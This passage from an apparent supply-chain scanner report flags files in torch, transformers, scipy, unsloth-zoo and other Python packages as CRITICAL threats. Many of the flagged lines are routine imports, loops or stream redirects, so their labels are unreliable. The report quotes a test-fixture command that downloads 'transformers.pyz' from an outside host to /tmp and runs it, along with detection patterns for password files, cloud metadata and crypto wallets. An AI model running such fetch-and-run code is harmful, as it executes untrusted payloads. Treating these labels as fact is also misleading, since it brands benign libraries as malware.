"evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)",
"evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f"
},
{
"package": "python-dateutil",
"file": "dateutil/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L16: return importlib.import_module(\".\" + name, __name__)",
"evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
},
{
"package": "rich",
"file": "rich/ansi.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L229: pty.spawn(sys.argv[1:], read)",
"evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4"
},
{
"package": "rich",
"file": "rich/console.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())",
"evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"
},
{
"package": "rich-rst",
"file": "rich_rst/_vendor/docutils/readers/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)",
"evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073"
},
{
"package": "rich-rst",
"file": "rich_rst/_vendor/docutils/writers/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)",
"evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106"
},
{
"package": "scikit-learn",
"file": "sklearn/datasets/_openml.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
"evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
},
{
"package": "scikit-learn",
"file": "sklearn/datasets/_openml.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
"evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
},
{
"package": "scikit-learn",
"file": "sklearn/externals/array_api_compat/cupy/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')",
"evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
},
{
"package": "scikit-learn",
"file": "sklearn/externals/array_api_compat/dask/array/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')",
"evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
},
{
"package": "scikit-learn",
"file": "sklearn/externals/array_api_compat/numpy/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")",
"evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"
},
{
"package": "scikit-learn",
"file": "sklearn/externals/array_api_compat/torch/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')",
"evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
},
{
"package": "scikit-learn",
"file": "sklearn/svm/tests/test_svm.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)",
"evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653"
},
{
"package": "scipy",
"file": "scipy/_external/array_api_compat/cupy/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')",
"evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
},
{
"package": "scipy",
"file": "scipy/_external/array_api_compat/dask/array/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')",
"evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
},
{
"package": "scipy",
"file": "scipy/_external/array_api_compat/numpy/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")",
"evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"
},
{
"package": "scipy",
"file": "scipy/_external/array_api_compat/torch/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')",
"evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
},
{
"package": "sentencepiece",
"file": "sentencepiece/__init__.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
"evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc"
},
{
"package": "sentencepiece",
"file": "sentencepiece/__init__.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L772: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L777: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
"evidence_hash": "65b5a11cce128fe09b3f238c01bed7c883d1740d7d46d659118f67940f6c17dc"
},
{
"package": "setuptools",
"file": "distutils-precedence.pth",
"check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
"severity": "CRITICAL",
"evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();",
"evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16"
},
{
"package": "setuptools",
"file": "setuptools/_distutils/tests/test_build_ext.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9",
"evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7"
},
{
"package": "setuptools",
"file": "setuptools/_vendor/jaraco/context/__init__.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)",
"evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"
},
{
"package": "sympy",
"file": "sympy/external/importtools.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L154: __import__(module + '.' + submod)",
"evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b"
},
{
"package": "tiktoken",
"file": "tiktoken/load.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)",
"evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d"
},
{
"package": "torch",
"file": "functorch/dim/magic_trace.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e",
"evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023"
},
{
"package": "torch",
"file": "torch/_inductor/codecache.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
"evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )",
"evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"
},
{
"package": "torch",
"file": "torch/_inductor/codecache.py",
"check": "base64 decode + subprocess execution (staged payload)",
"severity": "CRITICAL",
"evidence": "Base64: L1727: content = base64.b64decode(data)\nSubprocess: L3270: subprocess.run(\nL3271: cmd, capture_output=True, text=True, check=True\nL3272: ) | L3583: cmd_output = subprocess.run(\nL3584: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585: ) | L4338: out = subprocess.check_output(\nL4339: [\"ldd\", os.path.join(search, file)]\nL4340: ) | L4422: jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507: subprocess.check_call(\nL4508: shlex.split(halide_cmd_gen.get_command_line())\nL4509: ) | L4992: subprocess.check_output(\nL4993: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994: ) | L5247: output = subprocess.check_output(\nL5248: cmd_parts,\nL5249: stderr=subprocess.STDOUT,\nL5250: text=True,\nL5251: env=os.environ,\nL5252: )",
"evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06"
},
{
"package": "torch",
"file": "torch/ao/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L30: return importlib.import_module(\".\" + name, __name__)",
"evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
},
{
"package": "torch",
"file": "torch/ao/nn/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L34: return importlib.import_module(\".\" + name, __name__)",
"evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
},
{
"package": "torch",
"file": "torch/ao/nn/intrinsic/__init__.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L40: return importlib.import_module(\".\" + name, __name__)",
"evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
},
{
"package": "torch",
"file": "torch/cuda/_memory_viz.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )",
"evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85"
},
{
"package": "torch",
"file": "torch/distributed/elastic/multiprocessing/redirects.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L218: os.dup2(dst.fileno(), std_fd)",
"evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f"
},
{
"package": "torch",
"file": "torch/hub.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:",
"evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704"
},
{
"package": "torch",
"file": "torch/testing/_internal/common_utils.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L4900: env = os.environ.copy()\nNetwork: L4962: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
"evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"
},
{
"package": "torch",
"file": "torch/testing/_internal/common_utils.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",
"evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"
},
{
"package": "torch",
"file": "torch/testing/_internal/common_utils.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d",
"evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865"
},
{
"package": "torchvision",
"file": "torchvision/datasets/utils.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:",
"evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080"
},
{
"package": "traitlets",
"file": "traitlets/config/loader.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)",
"evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470"
},
{
"package": "transformers",
"file": "transformers/integrations/integration_utils.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
"evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca"
},
{
"package": "transformers",
"file": "transformers/integrations/integration_utils.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
"evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb"
},
{
"package": "transformers",
"file": "transformers/testing_utils.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
"evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
},
{
"package": "transformers",
"file": "transformers/testing_utils.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a",
"evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049"
},
{
"package": "transformers",
"file": "transformers/testing_utils.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L1699: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
"evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
},
{
"package": "transformers",
"file": "transformers/testing_utils.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L288: value = os.environ[key] | L304: value = os.environ[key] | L2165: env = os.environ.copy() | L2287: for k in list(os.environ.keys()):\nNetwork: L2597: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
"evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"
},
{
"package": "transformers",
"file": "transformers/testing_utils.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc",
"evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736"
},
{
"package": "transformers",
"file": "transformers/utils/import_utils.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)",
"evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
},
{
"package": "triton",
"file": "triton/tools/build_extern.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()",
"evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890"
},
{
"package": "trl",
"file": "trl/extras/vllm_client.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
"evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
},
{
"package": "trl",
"file": "trl/extras/vllm_client.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
"evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
},
{
"package": "trl",
"file": "trl/import_utils.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)",
"evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "Accesses cloud metadata/IMDS AND makes network calls",
"severity": "CRITICAL",
"evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",
"evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",
"evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",
"evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "Installs persistence AND makes network calls (backdoor pattern)",
"severity": "CRITICAL",
"evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",
"evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "May-12 Shai-Hulud IOC string present in Python file",
"severity": "CRITICAL",
"evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",",
"evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "Targets cryptocurrency wallets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",
"evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"
},
{
"package": "unsloth-zoo",
"file": "scripts/scan_packages.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
"evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
},
{
"package": "unsloth-zoo",
"file": "tests/security/fixtures/_build.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )",
"evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a"
},
{
"package": "unsloth-zoo",
"file": "tests/security/fixtures/_build.py",
"check": "May-12 Shai-Hulud IOC string present in Python file",
"severity": "CRITICAL",
"evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",
"evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8"
},
{
"package": "unsloth-zoo",
"file": "tests/security/fixtures/_build.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",
"evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336"
},
{
"package": "unsloth-zoo",
"file": "tests/security/test_scan_packages.py",
"check": "May-12 Shai-Hulud IOC string present in Python file",
"severity": "CRITICAL",
"evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",",
"evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5"
},
{
"package": "unsloth-zoo",
"file": "tests/security/test_scan_packages.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0",
"evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0"
},
{
"package": "unsloth-zoo",
"file": "tests/test_convert_hf_to_gguf_patcher.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)",
"evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2"
},
{
"package": "unsloth-zoo",
"file": "tests/test_mlx_save_export_regressions.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37",
"evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81"
},
{
"package": "unsloth-zoo",
"file": "tests/test_quantize_gguf_q2_k_l.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad",
"evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b"
},
{
"package": "unsloth-zoo",
"file": "tests/test_upstream_pinned_symbols_transformers.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:",
"evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/device_type.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
